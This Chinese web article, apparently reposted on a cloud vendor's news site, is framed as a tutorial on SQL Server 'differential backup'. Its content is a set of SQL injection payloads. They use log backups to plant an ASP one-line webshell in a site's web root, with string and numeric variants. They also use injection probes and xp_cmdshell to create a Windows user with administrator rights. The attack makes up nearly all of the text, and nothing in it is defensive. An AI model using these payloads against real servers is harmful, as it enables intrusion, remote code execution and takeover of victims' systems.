您好,登錄后才能下訂單哦!
sqlserver中怎么實現差異備份,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。
手工實現差異備份的步驟
字符型:
1、恢復當前庫;alter database 當前庫 set RECOVERY FULL--
2、建表cmd;create table cmd (a image)--
3、備份當前庫到D:\cmd1;backup log 當前庫 to disk = 'D:\cmd1' with init--
4、插入一句話代碼到創建的表cmd;insert into cmd (a) values ('<%%25**ecute(request("a"))%%25>')--
5、備份一句話代碼到站點根目錄;backup log 當前庫 to disk = 'D:\www_web\oct.asp'--
6、完成;drop table 創建的表--
數字型
1、恢復當前庫';alter database 當前庫 set RECOVERY FULL--
2、創建表cmd';create table cmd (a image)--
3、備份當前庫到D:\cmd1';backup log 當前庫 to disk = 'D:\cmd1' with init--
4、插入一句話代碼到創建的表cmd';insert into cmd (a) values ('<%%25**ecute(request("a"))%%25>')--
5、備份一句話代碼到站點根目錄';backup log 當前庫 to disk = 'D:\www_web\oct.asp'--
6、完成';drop table 創建的表--
sa權限創建管理員用戶
1、判斷是否有注入;and 1=1 ;and 1=2 ;and user_name()='dbo' 判斷當前系統的連接用戶是不是sa
2、添加系統的管理員;exec master.dbo.xp_cmdshell 'net user wk wk90/add';-- ;exec master.dbo.xp_cmdshell 'net localgroup administrators wk /add';--
看完上述內容,你們掌握sqlserver中怎么實現差異備份的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。